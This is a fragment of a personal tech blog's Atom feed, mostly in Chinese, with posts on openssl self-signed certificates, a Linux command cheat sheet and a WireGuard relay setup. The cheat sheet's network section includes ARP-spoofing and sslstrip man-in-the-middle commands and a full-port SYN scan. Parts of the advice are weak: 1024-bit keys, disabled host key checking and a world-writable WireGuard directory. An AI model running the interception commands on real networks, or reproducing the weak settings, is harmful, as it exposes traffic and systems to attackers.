&lt;p&gt;最理想的可移植方法是让 Vim 自己给脚本打包，用 Vimball 工具。见 |vimball|。&lt;&#x2F;p&gt;
&lt;p&gt;最好你能加入一行内容，实现自动更新。见 |glvs-plugins|。&lt;&#x2F;p&gt;
&lt;p&gt;文章标签： vim vim脚本 markdown&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>self_signed_certificate</title>
        <published>2022-11-21T16:41:19+08:00</published>
        <updated>2022-11-21T16:41:19+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/11/self-signed-certificate/"/>
        <id>https://vercel.juzhong.asia/2022/11/self-signed-certificate/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/11/self-signed-certificate/">&lt;h1 id=&quot;self-signed-certificate&quot;&gt;self_signed_certificate&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;chang-yong-hou-zhui-ming&quot;&gt;常用后缀名&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;格式	说明
.crt .cer 	证书(Certificate)
.key	密钥&amp;#x2F;私钥(Private Key)
.csr	证书认证签名请求(Certificate signing request)
*.pem	base64编码文本储存格式，可以单独放证书或密钥，也可以同时放两个；base64编码就是两条-------之间的那些莫名其妙的字符
*.der	证书的二进制储存格式(不常用)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;sheng-cheng-zi-qian-zheng-shu&quot;&gt;生成自签证书&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;zhi-jie-dan-bu-sheng-cheng&quot;&gt;直接单步生成&lt;sup&gt;.&lt;&#x2F;sup&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;生成得到的server.crt证书，格式都是pem的&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl req -new -x509 -keyout server.key -out server.crt -config openssl.cnf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;fen-bie-sheng-cheng-si-yao-he-zheng-shu&quot;&gt;分别生成私钥和证书&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;# 通过openssl生成私钥
openssl genrsa -out server.key 1024

# 使用私钥生成自签名的cert证书文件，以下是通过参数只定证书需要的信息
openssl req -new -x509 -days 3650 -key server.key -out server.crt -subj &amp;quot;&amp;#x2F;C=CN&amp;#x2F;ST=mykey&amp;#x2F;L=mykey&amp;#x2F;O=mykey&amp;#x2F;OU=mykey&amp;#x2F;CN=domain1&amp;#x2F;CN=domain2&amp;#x2F;CN=domain3&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;dan-bu-sheng-cheng&quot;&gt;单步生成&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;# 通过openssl生成私钥(需要设置密码)
# 去除密钥里的密码(可选) 这里需要再输入一次原来设的密码
openssl genrsa -out server.key 1024
openssl rsa -in server.key -out ca.key

# 根据私钥生成证书申请文件csr
openssl req -new -key server.key -out server.csr

# 使用私钥对证书申请进行签名从而生成证书
openssl x509 -req -in server.csr -out server.crt -signkey ca.key -days 3650

这样就生成了有效期为：10年的证书文件，对于自己内网服务使用足够。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>linux command</title>
        <published>2022-11-20T22:54:01+08:00</published>
        <updated>2022-11-20T22:54:01+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/11/usually_cmd/"/>
        <id>https://vercel.juzhong.asia/2022/11/usually_cmd/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/11/usually_cmd/">&lt;h1 id=&quot;linux-command&quot;&gt;linux command&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;git&quot;&gt;git&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;git ls-files -- &amp;#x27;*.cpp&amp;#x27; &amp;#x27;*.h&amp;#x27; | xargs clang-format -i -style=file

git apply --reject &amp;#x2F;tmp&amp;#x2F;project.patch  
# apply will failed when patch has removed&amp;#x2F;new file, --reject allow partial patch.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;compile&quot;&gt;compile&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;LD_PRELOAD=&amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;x86_64-linux-gnu&amp;#x2F;libc.so.6 &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;ls
&amp;#x2F;usr&amp;#x2F;lib64&amp;#x2F;ld-linux-x86-64.so.2 &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;ls
ldd &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;ls # pldd
ldconfig
LD_DEBUG=bindings ldd &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;ls |&amp;amp; less
LD_DEBUG=help ls

readelf -l build&amp;#x2F;plt_got.exe
hexdump -C -s 0x000194 build&amp;#x2F;plt_got.exe |head

objdump -j .init build&amp;#x2F;plt_got.exe
hexdump -C -s 0x001000  build&amp;#x2F;plt_got.exe |head
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;ssh&quot;&gt;ssh&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;ssh -t -o &amp;#x27;StrictHostKeyChecking no&amp;#x27; user@machineB &amp;quot;ssh -t -o &amp;#x27;StrictHostKeyChecking no&amp;#x27; user@machineA&amp;quot;
&amp;#x2F;usr&amp;#x2F;sbin&amp;#x2F;sshd -t     # test sshd config before restart sshd
ssh -G guest@1.1.1.1       # test ssh client config
ssh foo@jumper.ip -J guest@target.ip
rsync -auvz --progress -e &amp;quot;ssh -i private-key-file -J guest@domain.com&amp;quot; peter@192.168.1.152:&amp;#x2F;home&amp;#x2F;peter&amp;#x2F;project&amp;#x2F;gitlab-ci&amp;#x2F; ~&amp;#x2F;project&amp;#x2F;gitlab-ci&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;net&quot;&gt;net&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;tcpdump  -XvvennSs 0 -i eth0 tcp[20:2]=0x4745 or tcp[20:2]=0x4854
# 0x4745 为&amp;quot;GET&amp;quot;前两个字母&amp;quot;GE&amp;quot;,0x4854 为&amp;quot;HTTP&amp;quot;前两个字母&amp;quot;HT&amp;quot;。

tcpdump -i ens33 udp and host domain.com
tcpdump -i eth0 host domain.com and port 50814 -tnX
nc -vuz domain.com 50814 # check UDP port is open

sysctl -w net.ipv4.ip_forward=1
echo 1 &amp;gt; &amp;#x2F;proc&amp;#x2F;sys&amp;#x2F;net&amp;#x2F;ipv4&amp;#x2F;ip_forward # like about command
echo net.ipv4.ip_forward=1 &amp;gt;&amp;gt; &amp;#x2F;etc&amp;#x2F;sysctl.conf
sysctl -p 

sslstrip -a -l 1000 -k
arpspoof -i eth0 victimip routerip

iptables -L -v -n
iptables -I FORWARD -i wg00 -j ACCEPT;
firewall-cmd --zone=public --add-port=50815&amp;#x2F;udp --permanent
firewall-cmd --reload
firewall-cmd --zone=public --list-ports
systemctl start wg-quick@wg00
wg-quick up wg00
ip route add 10.2.2.0&amp;#x2F;24 via 192.168.1.154
ip link add wg0 type wireguard
wg setconf wg0 &amp;#x2F;dev&amp;#x2F;fd&amp;#x2F;63
ip -4 address add 192.168.1.1&amp;#x2F;32 dev wg0
ip link set mtu 1420 up dev wg0
ip -4 route add 192.168.1.2&amp;#x2F;32 dev wg

ss -n -at &amp;#x27;( dport = :ssh or sport = :ssh )&amp;#x27;     # 括号和等号有空格隔开

nmap -oG results-all.txt -iL ipduan.txt -p 0-65535  --min-hostgroup 1024 \
--min-parallelism 10  --open -n -sS -Pn --host-timeout 30 -v
# -sS：SYN方式扫描，默认-sT即TCP方式，需要三次握手，比较费时，SYN比较快

lsof -iTCP -sTCP:LISTEN -P -n
lsof -iUDP -n -P  
# -i [46][protocol][@hostname|hostaddr][:service|port]
# -n inhibits conversion network number to hostname;
# -P inhibits conversion number to port name
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;editor&quot;&gt;editor&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;# vim
:w !sudo tee %

# emacs
C-x C-w
&amp;#x2F;sudo::&amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;source.list
# password

# vim config
:set paste
:set mouse=

# vim delete last char
:norm! $xxx
:&amp;#x27;&amp;lt;,&amp;#x27;&amp;gt;norm! $xxx

:right # to first right align the text, 
C-v d  # remove your chars with visual block mode and the 
:left  # align the text again

# vim chage word multiple times
cgn
.

# magit
(setq magit-diff-refine-hunk t)
(setq show-trailing-whitespace nil)

# bash
pip3 install cmake-language-server
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;misc&quot;&gt;misc&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;console-setup
cmake -DCMAKE_CXX_FLAGS=-std=c++17 ..

# zsh
zle -al
set -o emacs

# font
wget -c https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;ryanoasis&amp;#x2F;nerd-fonts&amp;#x2F;releases&amp;#x2F;download&amp;#x2F;v2.0.0&amp;#x2F;SourceCodePro.zip
unzip SourceCodePro.zip -d &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;fonts&amp;#x2F;SourceCodePro
cd &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;fonts&amp;#x2F;SourceCodePro
mkfontscale # 生成核心字体信息
mkfontdir # 生成字体文件夹
fc-cache -fv # 刷新系统字体缓存
fc-list

tmux new-session -t 0  -s tmp  
# 新建tmpsession 共享0session的窗口(不在同一个窗口操作互相不影响)
# 退出时可以用: prefix: kill-session &amp;#x2F; prefix d, detach后tmux kill-session -t tmp
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;docker&quot;&gt;docker&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;apt-get update
apt-get install apt-transport-https ca-certificates curl gnupg lsb-release
curl -fsSL https:&amp;#x2F;&amp;#x2F;download.docker.com&amp;#x2F;linux&amp;#x2F;debian&amp;#x2F;gpg | sudo gpg --dearmor -o &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;keyrings&amp;#x2F;docker-archive-keyring.gpg
echo &amp;quot;deb [arch=$(dpkg --print-architecture) signed-by=&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;keyrings&amp;#x2F;docker-archive-keyring.gpg] https:&amp;#x2F;&amp;#x2F;download.docker.com&amp;#x2F;linux&amp;#x2F;ubuntu $(lsb_release -cs) stable&amp;quot; | sudo tee &amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;sources.list.d&amp;#x2F;docker.list &amp;gt; &amp;#x2F;dev&amp;#x2F;null
apt-get update
apt-get install docker-ce docker-ce-cli containerd.io

groupadd docker
usermod -aG docker $USER

docker exec -it netmaker bas
docker-compose logs --tail 20 --follow
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;ops&quot;&gt;ops&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;blkid &amp;#x2F;dev&amp;#x2F;sda1
lsblk
mount -o loop &amp;#x2F;home&amp;#x2F;peter&amp;#x2F;ubuntu22.iso &amp;#x2F;mnt&amp;#x2F;ubuntu22&amp;#x2F;

echo &amp;quot;192.168.1.63 my.host&amp;quot; &amp;gt;&amp;gt; &amp;#x2F;home&amp;#x2F;peter&amp;#x2F;.hosts &amp;amp;&amp;amp; 
mount  --bind &amp;#x2F;home&amp;#x2F;peter&amp;#x2F;.hosts &amp;#x2F;etc&amp;#x2F;hosts

tar -cvf - &amp;#x2F;data&amp;#x2F;project&amp;#x2F; | xz -T 0 -c | cp &amp;#x2F;dev&amp;#x2F;stdin debug.tar.xz
tar -cvf - &amp;#x2F;data&amp;#x2F;project&amp;#x2F; | xz -T 0 -c | dd of=myfile.tar.xz
tar --exclude={.cache,.ccls-cache} -cvzf gitlab-ci.tgz gitlab-ci

nginx -t     # test nginx.conf

errno -l | grep 13
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;gpg-openssl&quot;&gt;gpg&#x2F;openssl&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;gpg --full-gen-key --expert     # 生成key，私钥和公钥，可以配置用于sign，verify，encrypt
gpg --list-keys --with-keygrip  # keygrip 携带了私钥和公钥的信息
gpg --expert --edit-key peterxiao
# gpg -k(pubkey) -K(secretkey)
gpg --list-secret-keys  --with-sig-check --with-keygrip --with-sig-list
gpg --import &amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;trusted.gpg
gpg -k --no-default-keyring --keyring trusted.gpg
gpg --with-fingerprint &amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;trusted.gpg
gpg --armor --export peter   # 导出公钥， armor：文本格式

gpg --clearsign test.txt
gpg --sign test.txt
gpg --detach-sign test.txt
# 同时签名，加密
gpg --local-user [发信者ID] --recipient [接收者ID] --armor --sign --encrypt test.txt

# 如果不安装任何其他软件包，可以使用gpg --list-packets查看文件中包含的OpenPGP数据包的信息。
gpg --list-packets a4ff2279.asc
gpgconf kill gpg-agent &amp;amp;&amp;amp; gpgconf --launch gpg-agent

gpg --export -a  &amp;gt; jonny.asc
gpg --export-secret-key -a  &amp;gt; jonny.gpg

gpg --fingerprint tets.pub.gpg  # 和对方联系确认指纹正确，之后可以将公钥签名信任
gpg --sign-key 或者#gpg --edit-key name#command &amp;gt; sign 
gpg --check-sigs

# 数据签名传输（Signed data）：发送者使用私匙对数据加密，接收者使用公匙对数据解密。 
gpg --clearsign mymessage.txt
gpg --clearsign -u DC5CF4B5A853ADB5 myself.sh  # 多个子密钥可以使用-u指定使用哪个
gpg --verify message.txt.asc 
gpg --verify file.txt.sig file.txt
gpg --verify file.txt.asc file.txt

# 数据加密传输（Encrypted data）：发送者使用公匙对数据加密，接收者使用私匙对数据解密。
gpg -r -a --encrypt message.txt
gpg --decrypt message.txt.asc &amp;gt; message.txt

# add gpg trusted 
wget -nc https:&amp;#x2F;&amp;#x2F;dl.winehq.org&amp;#x2F;wine-builds&amp;#x2F;winehq.key
cat winehq.key | gpg --dearmor  &amp;gt; winehq.gpg
sudo install -o root -g root -m 644 winehq.gpg &amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;trusted.gpg.d&amp;#x2F;
sudo add-apt-repository &amp;#x27;deb https:&amp;#x2F;&amp;#x2F;dl.winehq.org&amp;#x2F;wine-builds&amp;#x2F;debian&amp;#x2F; bullseye main&amp;#x27;

# wine
curl -fsSL https:&amp;#x2F;&amp;#x2F;download.docker.com&amp;#x2F;linux&amp;#x2F;ubuntu&amp;#x2F;gpg | sudo gpg --dearmor -o &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;keyrings&amp;#x2F;docker-archive-keyring.gpg
gpg --import &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;keyrings&amp;#x2F;docker-archive-keyring.gpg


################
#### GPG for ssh
echo enable-ssh-support &amp;gt;&amp;gt; $HOME&amp;#x2F;.gnupg&amp;#x2F;gpg-agent.conf
# Set SSH_AUTH_SOCK so that SSH will use gpg-agent instead of ssh-agent. Add this to tour bashprofile or zshrc

echo &amp;#x27; unset SSH_AGENT_PID
if [ &amp;quot;${gnupg_SSH_AUTH_SOCK_by:-0}&amp;quot; -ne $$ ]; then
    export SSH_AUTH_SOCK=&amp;quot;$(gpgconf --list-dirs agent-ssh-socket)&amp;quot;
fi
export GPG_TTY=$(tty)
gpg-connect-agent updatestartuptty &amp;#x2F;bye &amp;gt;&amp;#x2F;dev&amp;#x2F;null
&amp;#x27; &amp;gt;&amp;gt; ~&amp;#x2F;.bashrc

# export SSH_AUTH_SOCK=$(gpgconf --list-dirs agent-ssh-socket) 
# gpgconf --launch gpg-agent

ssh -T git@github.com

################
#### 生成根证书
# method 1
openssl req -new -x509 -keyout server.key -out server.crt -config openssl.cnf
# method 2
openssl genrsa -out server.key 1024
openssl req -new -x509 -days 3650 -key server.key -out server.crt -subj &amp;quot;&amp;#x2F;C=CN&amp;#x2F;ST=mykey&amp;#x2F;L=mykey&amp;#x2F;O=mykey&amp;#x2F;OU=mykey&amp;#x2F;CN=domain1&amp;#x2F;CN=domain2&amp;#x2F;CN=domain3&amp;quot;

#method 3
# 生成CA认证机构的证书密钥key  需要设置密码，输入两次
# 去除密钥里的密码(可选) 这里需要再输入一次原来设的密码
# 用私钥ca.key生成CA认证机构的证书ca.crt 其实就是相当于用私钥生成公钥，再把公钥包装成证书
openssl genrsa -des3 -out ca.key 1024
openssl rsa -in ca.key -out ca.key
openssl req -new -x509 -key ca.key -out ca.crt -days 365
# 这个证书ca.crt有的又称为&amp;quot;根证书&amp;quot;,因为可以用来认证其他证书

# 生成自己网站的密钥server.key
# 生成网站证书请求文件 外面的CA机构认证 也是发个请求文件给他们 私钥包含在请求文件中了，认证机构用它生成网站的公钥，包装成一个证书
# 使用虚拟CA认证机构的证书ca.crt，对网站的证书请求文件server.csr进行处理，生成签名后的证书server.crt 注意设置序列号和有效期（一般都设1年）
openssl genrsa -des3 -out server.key 1024
openssl req -new -key server.key -out server.csr
openssl x509 -req -in server.csr -CA ca.crt -CAkey ca.key -set_serial 01 -out server.crt -days 365
# 于是就得到了自（自建CA机构认证的）签名证书

systemctl stop nginx
acme.sh --issue  -d amahy.dommain.com   --standalone  # validation method: &amp;#x27;--webroot&amp;#x27;, &amp;#x27;--standalone&amp;#x27;, &amp;#x27;--apache&amp;#x27;, &amp;#x27;--nginx&amp;#x27; or &amp;#x27;--dns&amp;#x27; etc -k ec-384
acme.sh --install-cert -d amahy.domain.com --key-file &amp;#x2F;etc&amp;#x2F;server.key --fullchain-file &amp;#x2F;etc&amp;#x2F;server.crt # --ecc
systemctl start nginx
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;neo-tool&quot;&gt;neo tool&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;dust(du)&amp;#x2F;ncdu
duf(df)
procs(ps)
bottom(top)
exa(ls)
zoxide(cd)
ripgrep(grep)&amp;#x2F;ack&amp;#x2F;ag
bat(cat)
httpie(curl)
hyperfine(time)
tmux(screen)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;chang-yong-url&quot;&gt;常用url&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;https:&amp;#x2F;&amp;#x2F;dnschecker.org&amp;#x2F;
curl cip.cc
curl ifconfig.me
curl ipinfo.io
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>wireguard_netmaker</title>
        <published>2022-11-19T23:26:26+08:00</published>
        <updated>2022-11-19T23:26:26+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/11/wireguard-netmaker/"/>
        <id>https://vercel.juzhong.asia/2022/11/wireguard-netmaker/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/11/wireguard-netmaker/">&lt;h1 id=&quot;wireguard-netmaker&quot;&gt;wireguard_netmaker&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;wireguard&quot;&gt;Wireguard&lt;&#x2F;h1&gt;
&lt;p&gt;新内核一般都已经支持了wireguard，使用如下命令验证&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;modprobe wireguard
dkms status
lsmod | grep wireguard
modinfo wireguard
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果kernel低于5.6需要自己安装wireguar的支持&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;apt-get update
sudo apt install resolvconf
sudo apt-get install -y wireguard-dkms wireguard-tools linux-headers-$(uname -r) 
dpkg -l | grep wire
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;wireguardxiang-xi-pei-zhi&quot;&gt;wireguard详细配置&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;vpsfu-wu-qi-ke-yi-zuo-zhong-ji-kai-qi-forwardzhuan-fa&quot;&gt;vps服务器（可以做中继）开启forward转发&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;echo &amp;quot;net.ipv4.ip_forward = 1&amp;quot; &amp;gt;&amp;gt; &amp;#x2F;etc&amp;#x2F;sysctl.conf
echo &amp;quot;net.ipv4.conf.all.proxy_arp = 1&amp;quot; &amp;gt;&amp;gt; &amp;#x2F;etc&amp;#x2F;sysctl.conf
sysctl -p &amp;#x2F;etc&amp;#x2F;sysctl.conf
# 插入转发规则(否则有可能会被其他规则丢掉)
sudo iptables -I FORWARD -i wg00 -j ACCEPT
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;pei-zhi-mi-yao-gong-yao&quot;&gt;配置密钥公钥&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;cd &amp;#x2F;etc&amp;#x2F;wireguard&amp;#x2F;
chmod 0777 &amp;#x2F;etc&amp;#x2F;wireguard#调整目录默认权限
umask 077
wg genkey | tee &amp;#x2F;etc&amp;#x2F;wireguard&amp;#x2F;server00.key| wg pubkey &amp;gt; &amp;#x2F;etc&amp;#x2F;wireguard&amp;#x2F;server00.key.pub
wg genkey | tee &amp;#x2F;etc&amp;#x2F;wireguard&amp;#x2F;client01.key| wg pubkey &amp;gt; &amp;#x2F;etc&amp;#x2F;wireguard&amp;#x2F;client01.key.pub
wg genkey | tee &amp;#x2F;etc&amp;#x2F;wireguard&amp;#x2F;client02.key| wg pubkey &amp;gt; &amp;#x2F;etc&amp;#x2F;wireguard&amp;#x2F;client02.key.pub
wg genkey | tee &amp;#x2F;etc&amp;#x2F;wireguard&amp;#x2F;client03.key| wg pubkey &amp;gt; &amp;#x2F;etc&amp;#x2F;wireguard&amp;#x2F;client03.key.pub
wg genkey | tee &amp;#x2F;etc&amp;#x2F;wireguard&amp;#x2F;client04.key| wg pubkey &amp;gt; &amp;#x2F;etc&amp;#x2F;wireguard&amp;#x2F;client04.key.pub
wg genkey | tee &amp;#x2F;etc&amp;#x2F;wireguard&amp;#x2F;client05.key| wg pubkey &amp;gt; &amp;#x2F;etc&amp;#x2F;wireguard&amp;#x2F;client05.key.pub
wg genkey | tee &amp;#x2F;etc&amp;#x2F;wireguard&amp;#x2F;client06.key| wg pubkey &amp;gt; &amp;#x2F;etc&amp;#x2F;wireguard&amp;#x2F;client06.key.pub
wg genkey | tee &amp;#x2F;etc&amp;#x2F;wireguard&amp;#x2F;client07.key| wg pubkey &amp;gt; &amp;#x2F;etc&amp;#x2F;wireguard&amp;#x2F;client07.key.pub
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;pei-zhi-zhong-ji-fu-wu&quot;&gt;配置中继服务&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;echo &amp;quot;
[Interface]
PrivateKey = $(cat server00.key)
Address = 10.2.1.254
PostUp = iptables -I FORWARD -i %i -j ACCEPT  # 使用-I插入到最前面不然还是会被reject
PostUp = iptables -I FORWARD -o %i -j ACCEPT
# PostUp = iptables -t nat -A POSTROUTING -o ens192 -j MASQUERADE
PostDown = iptables -D FORWARD -i %i -j ACCEPT
PostDown = iptables -D FORWARD -o %i -j ACCEPT
# PostDown = iptables -t nat -D POSTROUTING -o ens192 -j MASQUERADE
ListenPort = 50815
DNS = 8.8.8.8
MTU = 1420
[Peer]
PublicKey =  $(cat server00.key.pub)  
AllowedIPs = 10.2.1.254&amp;#x2F;24
PersistentKeepalive = 15
Endpoint = domain.com:50815
[Peer]
PublicKey =  $(cat client01.key.pub)  
# 局域网ip配置的位置：中继配置在对应的peer节中，客户端配置在想访问对方局域网的client中
AllowedIPs = 192.168.1.58&amp;#x2F;32,192.168.1.23&amp;#x2F;32,192.168.1.62&amp;#x2F;32,192.168.1.154&amp;#x2F;32
AllowedIPs = 10.2.1.1&amp;#x2F;32
[Peer]
PublicKey =  $(cat client02.key.pub)  
AllowedIPs = 10.2.1.2&amp;#x2F;32
[Peer]
PublicKey =  $(cat client03.key.pub)  
AllowedIPs = 10.2.1.3&amp;#x2F;32
[Peer]
PublicKey =  $(cat client04.key.pub)  
AllowedIPs = 10.2.1.4&amp;#x2F;32
&amp;quot; &amp;gt; wg00.conf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;pei-zhi-ke-hu-duan&quot;&gt;配置客户端&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;echo &amp;quot;
[Interface]
PrivateKey = $(cat client01.key)
Address = 10.2.1.1
DNS = 8.8.8.8
MTU = 1420
# 内网的wireguard节点需要开启snat 或者masquerade(访问内网修改源地址(*￣▽￣*)ブ)
# 从而实现wg01进来的流量经过enp0s3物理网卡进入nat内网环境时会修改源地址，保证回报正确
# 另外配置snat 不需要配置对应的dnat，dnat也不需要配置对应的snat；
# 这两个是独立的功能， 在配置snat的时， 也会设置上对应的网络的回程包路由
PostUp = iptables -I FORWARD -i %i -j ACCEPT; 
PostUp = iptables -I FORWARD -o %i -j ACCEPT; 
PostUp = iptables -I INPUT -i %i -j ACCEPT; 
PostUp = iptables -t nat -A POSTROUTING -o enp0s3 -j MASQUERADE
PostDown = iptables -D FORWARD -i %i -j ACCEPT; 
PostDown = iptables -D FORWARD -o %i -j ACCEPT; 
PostDown = iptables -D INPUT -i %i -j ACCEPT; 
PostDown = iptables -t nat -D POSTROUTING -o enp0s3 -j MASQUERADE
[Peer]
PublicKey =  $(cat server00.key.pub)  
AllowedIPs = 10.2.1.0&amp;#x2F;24
PersistentKeepalive = 15
Endpoint = domain.com:50815
&amp;quot; &amp;gt; wg01.conf

echo &amp;quot;
[Interface]
PrivateKey = $(cat client02.key)
Address = 10.2.1.2
DNS = 8.8.8.8
MTU = 1420
[Peer]
PublicKey =  $(cat server00.key.pub)  
AllowedIPs = 192.168.1.58&amp;#x2F;32,192.168.1.23&amp;#x2F;32,192.168.1.62&amp;#x2F;32,192.168.1.154&amp;#x2F;32
AllowedIPs = 10.2.1.0&amp;#x2F;24
PersistentKeepalive = 15
Endpoint = domain.com:50815
&amp;quot; &amp;gt; wg02.conf

echo &amp;quot;
[Interface]
PrivateKey = $(cat client03.key)
Address = 10.2.1.3
DNS = 8.8.8.8
MTU = 1420
[Peer]
PublicKey =  $(cat server00.key.pub)  
AllowedIPs = 192.168.1.58&amp;#x2F;32,192.168.1.23&amp;#x2F;32,192.168.1.62&amp;#x2F;32,192.168.1.154&amp;#x2F;32
AllowedIPs = 10.2.1.0&amp;#x2F;24
PersistentKeepalive = 15
Endpoint = domain.com:50815
&amp;quot; &amp;gt; wg03.conf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;kai-qi-wgfu-wu&quot;&gt;开启wg服务&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;# vps上开启wg
systemctl start wg-quick@wg00
systemctl enable wg-quick@wg00

# 配置客户端
# copy wg01.conf to client01 &amp;amp;&amp;amp; at client01 run command
systemctl start  wg-quick@wg01
systemctl enable wg-quick@wg01

# copy wg02.conf to client02 &amp;amp;&amp;amp; at client02 run command
wg-quick down wg02 ; wg-quick up wg02
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;tong-shi-xu-yao-zai-yun-fu-wu-ti-gong-shang-kai-fang-dui-ying-duan-kou-ru-xia-tu-suo-shi&quot;&gt;同时需要在云服务提供商开放对应端口,如下图所示&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;sudo firewall-cmd --zone=public --add-port=50815&amp;#x2F;udp --permanent
sudo firewall-cmd --zone=public --remove-port=50815&amp;#x2F;udp --permanent
sudo firewall-cmd --reload
sudo firewall-cmd --zone=public --list-ports

sudo systemctl start wg-quick@wg00.service
sudo wg-quick up wg00
sudo wg show wg00

systemctl enable firewalld
sudo firewall-cmd --zone=public --add-port=7000-7500&amp;#x2F;tcp --permanent
sudo firewall-cmd --zone=public --remove-port=7000-7500&amp;#x2F;tcp --permanent
firewall-cmd --reload

firewall-cmd --permanent --add-rich-rule=&amp;quot;rule family=&amp;quot;ipv4&amp;quot; source address=&amp;quot;192.168.0.200&amp;quot; port protocol=&amp;quot;tcp&amp;quot; port=&amp;quot;80&amp;quot; reject&amp;quot;
firewall-cmd --zone=public --list-rich-rules

firewall-cmd --query-service ssh
firewall-cmd --list-services

# 或者ufw工具
sudo ufw allow 50814&amp;#x2F;udp
sudo ufw allow from 1.2.3.4 to any port 22
sudo ufw status
sudo ufw enable
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;dui-yu-dai-li-nei-wang-zheng-ge-wang-duan-ling-yi-chong-jie-jue-fang-an&quot;&gt;对于代理内网整个网段另一种解决方案&lt;&#x2F;h2&gt;
&lt;p&gt;这个需要在需要代理的机器上LocalMachionC上配置网关
这样就不要在wg client节点上进行nat masquerade了&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# on client1&amp;#x27;s local vlan&amp;#x27;s machions即需要被wg client代理的机器
ip route add 10.2.2.0&amp;#x2F;24 via 192.168.1.154  # this is client1 ip
# on client1, so client1 can do the gate way role
